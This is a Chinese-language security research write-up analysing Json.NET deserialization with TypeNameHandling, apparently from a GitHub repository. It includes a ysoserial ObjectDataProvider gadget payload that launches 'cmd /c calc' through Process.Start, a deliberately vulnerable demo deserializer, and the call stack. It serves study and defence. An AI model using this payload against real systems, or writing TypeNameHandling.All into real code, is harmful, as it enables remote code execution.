https://github.com/Y4er/dotnet-deserialization/blob/main/Json.Net.md
Json.Net
官方文档给出了最简单的两个json示例,分别是JsonConvert、JsonSerializer。这里先看下JsonConvert
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| using Newtonsoft.Json; using System;
namespace Json.NetSerializer { class Person { public string Name { get; set; } } class Program { static void Main(string[] args) { Person person = new Person(); person.Name = "jack"; string v = JsonConvert.SerializeObject(person); string v1 = JsonConvert.SerializeObject(person, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.None }); string v2 = JsonConvert.SerializeObject(person, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.All }); Console.WriteLine(v); Console.WriteLine(v1); Console.WriteLine(v2); Console.ReadKey(); } } }
|
前两个输出没有type
值 最后一个才有 我们来分析一下这个情况
没有传入setting的情况下
然后进入到这个函数中 其实第二个也是会进入到这 然后这个CreatDefault函数的话是会实例化这个JsonSerializer类
最终是会走到这
然后我们接着去看TypeNameHandling
这个参数的不同引起的序列化时有没有type
的结果
我们会发现我们传入的默认值时None 那么前两个的结果都是一样的
1 2 3 4 5
| string v = JsonConvert.SerializeObject(person); string v1 = JsonConvert.SerializeObject(person, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.None });
|
这个时关于TypeNameHandling值得多少对应得结果
除了None外,都会包含type信息。文档中标记了TypeNameHandling会产生安全问题,应该使用binder进行类型绑定。
而本文就是针对TypeNameHandling进行讲解,当TypeNameHandling非None时,可以传入自定义json触发RCE。
攻击链ObjectDataProvider
使用yso生成得poc
1 2 3 4 5 6 7 8 9
| { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }
|
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| using Newtonsoft.Json; using System; using System.IO;
namespace Json.NetSerializer { class Program { static void Main(string[] args) { JsonConvert.DeserializeObject(File.ReadAllText("1.json"),new JsonSerializerSettings() { TypeNameHandling =TypeNameHandling.All}); JsonSerializer jsonSerializer = JsonSerializer.CreateDefault(); jsonSerializer.TypeNameHandling = TypeNameHandling.All; using (StreamReader sr = new StreamReader("1.json")) using (JsonReader reader = new JsonTextReader(sr)) { jsonSerializer.Deserialize(reader); } Console.ReadKey(); } } }
|
这里用得时JsonConvert和JsonSerializer这两个类来进行演示 其实JsonConvert调用还是会调用到JsonSerializer的 效果一样
在CreatObject这个函数中的话 就会将type里的类给进行实例化操作了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| Process.Start() [Native to Managed Transition] RuntimeMethodInfo.UnsafeInvokeInternal() RuntimeMethodInfo.Invoke() RuntimeType.InvokeMember() ObjectDataProvider.InvokeMethodOnInstance() ObjectDataProvider.QueryWorker() ObjectDataProvider.BeginQuery() ObjectDataProvider.set_ObjectInstance() [Lightweight Method Call] DynamicValueProvider.SetValue() JsonSerializerInternalReader.SetPropertyValue() JsonSerializerInternalReader.PopulateObject() JsonSerializerInternalReader.CreateObject() JsonSerializerInternalReader.CreateValueInternal() JsonSerializerInternalReader.Deserialize() JsonSerializer.DeserializeInternal() JsonSerializer.Deserialize() JsonSerializer.Deserialize() Program.Main()
|
这个是调用栈
在传入的json可控和TypeNameHandling设置的值正确的情况下 都是可以RCE的
既然说到了type 又说到了json 那么我们应该就能想到fastjson了 接下来我们就来了解一下这个的反序列化操作